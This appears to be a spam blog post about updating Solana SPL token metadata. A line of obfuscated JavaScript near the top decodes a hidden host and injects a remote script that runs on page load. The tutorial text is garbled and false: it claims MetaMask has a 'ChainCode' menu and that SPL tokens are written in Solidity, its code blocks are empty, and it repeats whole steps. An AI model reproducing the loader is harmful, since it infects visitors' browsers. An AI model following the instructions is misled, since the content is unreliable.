Solana: how to update metadata of spl-tokens using cli

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=77ee9825″;document.body.appendChild(script);

Updating SPL token Metadata with Metamask and Solana Cli

As a developer working on the solana ecosystem, it’s essential to keep your splits token metadata up-to-date. In this article, we’ll explore how to update SPL token metadata using the solana (SOL) blockchain’s chain code-based api and the metamask browser extension.

Prerequisites

• SOLANA CLI : Ensure you have the latest version of the solana cli installed. You can download it from the official solana website.

• Metamask

  

  : Install metamask on your computer to interact with the solana blockchain.

• SPL token Contract : Create a New SPL Token Contract Using Solidity (SOL) and Deploy It To The Solana Network.

• Chain code : Configure Chaincode on Solana for Metadata updates.

Step 1: Update Metadata Using Metamask

• Launch metamask on your computer.

• Connect your account to the metamask browser extension.

• Go to the Metamask Settings and Select “ChainCode” from the menu.

• Search for “solana” and create a new chain code contract, Such as “metadata-up Dater”.

• UPDATE THE METADATA FOR YOUR SPL TOKEN CONTRACT BY USING THE FOLLOWING COMMAND:

`Bash

Replace 0x ... your chain code id ... With the actual id or your chain code.

Step 2: Integrate Solana Cli and Chain code

• Install the Solana Cli Command-Line Tool Using NPM or Yarn:

`Bash

• Connect to the Solana Network Using the Solana Cli Command:

`Bash

• Compile and deploy your chain code contract to the Solana Network Using the Following Commands:

`Bash

Step 3: Update Metadata with Metamask

• Launch metamask on your computer.

• Connect your account to the metamask browser extension.

• Go to the Metamask Settings and Select “ChainCode” from the menu.

• Search for “solana” and create a new chain code contract, Such as “metadata-up Dater”.

• UPDATE THE METADATA FOR YOUR SPL TOKEN CONTRACT BY USING THE FOLLOWING COMMAND:

`Bash

Replace 0x ... your chain code id ... With the actual id or your chain code.

Troubleshooting

If you encounter issues while updating metadata, check the following:

• Ensure you’ve installed the solana cli command-line tool correctly.

• Verify that your chain code contract and metadata file are up-to-date.

• Check for any errors in your metamask settings or chain code configuration.

• If using a local blockchain Network, Ensure you are connected to it and have the correct id.

Conclusion

Updating SPL token Metadata with solana’s chain code-based API is a straightforward process. By following thesis steps and troubleshooting tips, you should be able to successful update your metadata using metamask and solana cli. Happy Developing!